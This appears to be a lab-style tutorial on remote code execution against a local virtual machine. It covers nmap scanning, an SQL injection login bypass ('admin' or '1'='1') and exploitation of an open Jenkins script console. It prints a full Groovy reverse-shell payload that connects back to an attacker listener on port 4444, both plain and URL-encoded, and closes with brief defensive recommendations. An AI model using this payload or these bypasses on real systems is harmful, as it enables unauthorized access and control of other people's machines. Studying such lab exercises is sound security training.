RCE (Remote Code Execution) RCE is an attack that allows the attacker to access a victim (another computer user) computer without authorization and remotely execute malicious code.
For this demonstration, we are going to gain unauthorized access and then execute some of our code to bring down the whole system.
NOTE: This tutorial is for learning purposes only.
Prerequisite
To follow this article, you have the following:
- A system with a virtual box
- Kali installed.
- Internet connection.
ENUMERATION
Netdiscover gave us 4 IP addresses.
Next, we are going to scan one of the IP addresses, we got from the netdiscover scan 192.168.199.130 using Nmap.
sudo nmap -sC -sV -A -p- 192.168.199.130
Port 10080 has a sign-in page, taking a look at it on Firefox, Firefox shows a restricted port error.
Bypassing the error
Now we will try bypassing the error we see on the browser, on the address bar about:config, Search for the network.security.ports.banned .overriede:on.
Adding a new string with the port number from nmap duNmap scanning, port 10080.
Refreshing page 192.168.199.130:10080
Bypassing Authentication
For this next stage, with no information about the user name and password. SQLi came to the rescue.
SQL(structured query) Injection
SQL injection (SQLi) is a web security vulnerability that allows an attacker to interfere with the queries that an application makes to its database. It generally allows an attacker to view data that they are not normally able to retrieve (portswigger)
admin’ or ‘1’=’1 for both username and password
This particular attack will work when you are attacking a particular port such as the one we are currently working on.
Access Granted!
Querying webhook
A webhook is a service that allows one program to send data to another as soon as a particular event takes place. Webhooks are sometimes referred to as “reverse APIs,” because communication is initiated by the application sending the data rather than the one receiving it.
Looking at the dashboard, the Jenkins service is running.
In the webhook tab, we can see a list of input fields to for our queries. Trying to request the API from the header http://127.0.0.1:8080/api/json.
From the result, Jenkins API is open, which means anything can be sent to it and it will run it.
Exploiting Jenkins through webhook
Jenkins features a Groovy script console which allows one to run arbitrary Groovy scripts within the Jenkins controller runtime or in the runtime on agents.
We are going to take advantage of this console to execute our exploit.
To execute groovy script remotely we can send HTTP POST Request to /script/ url or /scriptText/. For this demonstration, our request will be sent to /scriptText.
First, we set up a listener on our attacker machine on port 4444 like this.
nc -lvnp 4444
Next, we prepare our payload:
String host=”192.168.199.128″; int port=4444;
String cmd="bash"; Process p=
new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(p e.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try
{p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
encoding this we get;
String%20host%3D%22192.168.199.128%22%3B%0Aint%20port%3D4444%3B%0A%0AString%20cmd%3D%22bash% 22%3B%0AProcess%20p%3D%0Anew%20ProcessBuilder%28cmd%29.redirectErrorStream%28true%29.start%28%29
%3BSocket%20s%3Dnew%20Socket%28host%2Cport%29%3BInputStream%20pi%3Dp.getInputStream%28%29%2Cp e%3Dp.getErrorStream%28%29%2C%20si%3Ds.getInputStream%28%29%3BOutputStream%20po%3Dp.getOutputStr eam%28%29%2Cso%3Ds.getOutputStream%28%29%3Bwhile%28%21s.isClosed%28%29%29%7Bwhile%28pi.available
%28%29%3E0%29so.write%28pi.read%28%29%29%3Bwhile%28pe.available%28%29%3E0%29so.write%28pe.read%2 8%29%29%3Bwhile%28si.available%28%29%3E0%29po.write%28si.read%28%29%29%3Bso.flush%28%29%3Bpo.flus h%28%29%3BThread.sleep%2850%29%3Btry%20%7Bp.exitValue%28%29%3Bbreak%3B%7Dcatch%20%28Exception
%20e%29%7B%7D%7D%3Bp.destroy%28%29%3Bs.close%28%29%3B
Then click submit
On our listening machine
We have been able to access the machine remotely through Jenkins.
Details from my listener match the virtual box.
Recommendation
- To avoid SQLi parameterized queries can be used instead of string concatenation within the query.
- Jenkins did not have authorization. Jenkins should have authorization.
PART 2